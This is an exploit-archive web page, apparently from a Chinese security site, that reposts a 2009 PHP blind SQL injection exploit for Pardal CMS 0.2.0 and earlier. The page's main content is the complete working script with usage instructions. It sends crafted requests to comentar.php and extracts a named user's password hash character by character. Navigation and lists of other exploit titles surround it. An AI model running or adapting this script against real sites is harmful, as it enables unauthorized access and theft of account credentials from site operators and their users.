首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Pardal CMS <= 0.2.0 Blind SQL Injection Exploit
来源:http://darkjoker.net23.net 作者:darkjoker 发布时间:2009-01-23  
--+++=============================================================+++--
--+++====== Pardal CMS <= 0.2.0 Blind SQL Injection Exploit ======+++--
--+++=============================================================+++--

<?php

function usage ()
{
    echo "\nPardal CMS <= 0.2.0 Blind SQL Injection Exploit".
         "\n[+] Author  : darkjoker".
         "\n[+] Site    : http://darkjoker.net23.net".
         "\n[+] Download: http://tinyurl.com/csg4vt".
         "\n[+] Usage   : php xpl.php <hostname> <path> <username>".
         "\n[+] Ex.     : php xpl.php localhost /PardalCMS Admin".
         "\n\n";
    exit ();
}


function query ($user, $chr, $pos)
{
    $query = "x' OR ASCII(SUBSTRING((SELECT senha FROM users WHERE login = '{$user}'),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($hostname, 80);
    $query = query ($user, $chr, $pos);
    $request = "GET {$path}/comentar.php?id={$query} HTTP/1.1\r\n".
           "Host: {$hostname}\r\n".
           "Connection: Close\r\n\r\n";
   
    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);
   
    fclose ($fp);

    if (preg_match ("/\"#FFFFFF\"> em <\/font>/", $reply))
        return false;
    else
        return true;
}

if ($argc != 4)
    usage ();

$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
    if (exploit ($hostname, $path, $username, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}

echo "\n\n";

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Browser3D 3.5 (.sfs File) Loca
·FTPShell Server 4.3 (licence k
·Browser3D version 3.5 local bu
·VUPlayer 2.49 .ASX local unive
·Joomla com_pcchess (game_id) B
·GuildFTPd FTP server version 0
·Sad Raven's Click Counter 1.0
·Nokia DX200 M13 and S12 TCP SY
·Firefox 3.0.5 Status Bar Obfus
·EleCard MPEG PLAYER (.m3u file
·Joomla Com BazaarBuilder Shopp
·MediaMonkey 3.0.6 (.m3u file)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved